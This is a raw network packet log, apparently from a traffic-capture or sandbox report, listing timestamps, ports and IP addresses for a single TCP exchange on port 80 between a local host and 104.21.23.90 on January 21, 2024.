Jan 21, 2024 17:12:01.427253008 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.427263975 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.427274942 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.427278042 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.427284956 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.427293062 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.427306890 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.427315950 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.427320957 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.427335024 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.427351952 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.427367926 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.428164005 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.428178072 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.428189993 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.428206921 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.428217888 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.428229094 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.428230047 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.428242922 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.428244114 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.428256989 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.428261042 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.428271055 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.428283930 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.428297043 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.428302050 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.428311110 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.428317070 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.428325891 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.428339005 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.428350925 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.428383112 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.428968906 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.428982973 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.428994894 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.429008007 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.429024935 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.429039955 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.429141045 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.429153919 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.429164886 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.429177046 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.429189920 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.429203033 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.429204941 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.429215908 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.429229021 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.429229021 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.429244041 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.429249048 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.429258108 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.429272890 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.429297924 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.430006981 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.430020094 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.430032015 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.430043936 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.430052996 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.430068016 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.430082083 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.430090904 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.430099964 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.430114985 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.430128098 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.430154085 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.430603027 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.430617094 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.430629015 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.430641890 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.430655003 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.430656910 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.430669069 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.430681944 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.430682898 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.430695057 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.430706978 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.430707932 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.430722952 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.430735111 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.430736065 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.430749893 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.430763006 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.430763960 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.430778980 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.430789948 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.430819988 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.431368113 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.431560993 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.431574106 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.431586027 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.431602955 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.431603909 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.431615114 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.431617022 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.431631088 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.431643009 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.431657076 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.431660891 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.431669950 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.431684017 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.431684017 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.431699038 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.431708097 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.431713104 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.431725979 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.431741953 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.431761980 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.432518005 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.432531118 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.432542086 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.432554960 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.432564020 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.432568073 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.432581902 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.432595015 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.432596922 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.432609081 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.432621956 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.432621956 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.432641029 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.432655096 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.432661057 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.432668924 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.432674885 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.432683945 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.432697058 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.432702065 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.432740927 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.433367968 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.433382988 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.433394909 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.433407068 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.433420897 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.433420897 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.433434010 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.433444977 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.433449030 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.433463097 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.433471918 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.433505058 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.433789968 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.433850050 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.433864117 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.433876038 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.433897972 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.433914900 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.433928013 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.433939934 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.433952093 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.433964968 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.433971882 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.433978081 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.433991909 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.434005022 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.434011936 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.434032917 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.434051037 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.434065104 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.434076071 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.434091091 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.434114933 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.434740067 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.434777021 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.434789896 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.434818029 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.434952021 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.434966087 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.434977055 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.434989929 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.434997082 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.435003996 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.435017109 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.435018063 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.435030937 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.435044050 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.435044050 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.435059071 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.435070992 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.435081959 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.435085058 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.435108900 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.435128927 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.435802937 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.435815096 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.435826063 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.435838938 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.435852051 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.435864925 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.435864925 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.435879946 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.435888052 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.435893059 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.435908079 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.435908079 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.435923100 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.435928106 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.435936928 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.435950041 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.435962915 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.435969114 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.435976982 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.435981989 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.436028004 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.436659098 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.436774015 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.436786890 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.436799049 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.436810970 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.436817884 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.436825991 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.436827898 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.436840057 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.436853886 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.436860085 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.436903000 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.437196016 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.437210083 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.437222004 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.437278032 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.437407017 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.437419891 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.437432051 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.437444925 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.437446117 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.437458992 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.437472105 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.437473059 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.437484980 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.437498093 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.437498093 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.437511921 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.437522888 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.437525988 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.437541962 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.437550068 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.437581062 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.438359022 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.438373089 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.438384056 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.438395977 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.438409090 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.438415051 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.438421011 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.438430071 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.438435078 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.438446999 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.438451052 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.438460112 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.438473940 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.438487053 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.438494921 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.438503027 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.438510895 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.438515902 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.438530922 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.438555956 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.439049959 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.439129114 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.439141035 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.439152002 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.439177036 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.439182043 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.439186096 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.439196110 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.439214945 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.439228058 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.439234972 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.439243078 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.439255953 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.439265966 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.439270020 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.439284086 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.439295053 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.439296007 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.439310074 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.439337969 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.439348936 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.440040112 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.440053940 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.440064907 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.440092087 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.440119982 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.440134048 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.440145016 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.440157890 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.440166950 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.440171003 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.440188885 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.440215111 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.440552950 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.440567017 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.440613985 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.440742970 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.440756083 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.440768003 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.440779924 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.440793037 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.440795898 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.440805912 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.440819025 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.440819979 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.440833092 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.440848112 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.440849066 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.440860987 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.440875053 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.440877914 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.440888882 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.440917015 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.440943003 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.441740990 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.441752911 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.441764116 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.441776991 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.441788912 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.441788912 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.441806078 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.441814899 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.441818953 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.441833019 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.441847086 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.441849947 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.441860914 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.441871881 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.441875935 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.441899061 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.441904068 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.441914082 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.441927910 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.441937923 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.441967010 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.442501068 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.442513943 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.442548037 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.442560911 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.442574024 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.442585945 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.442620993 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.442642927 CET	80	49700	104.21.23.90	192.168.2.6
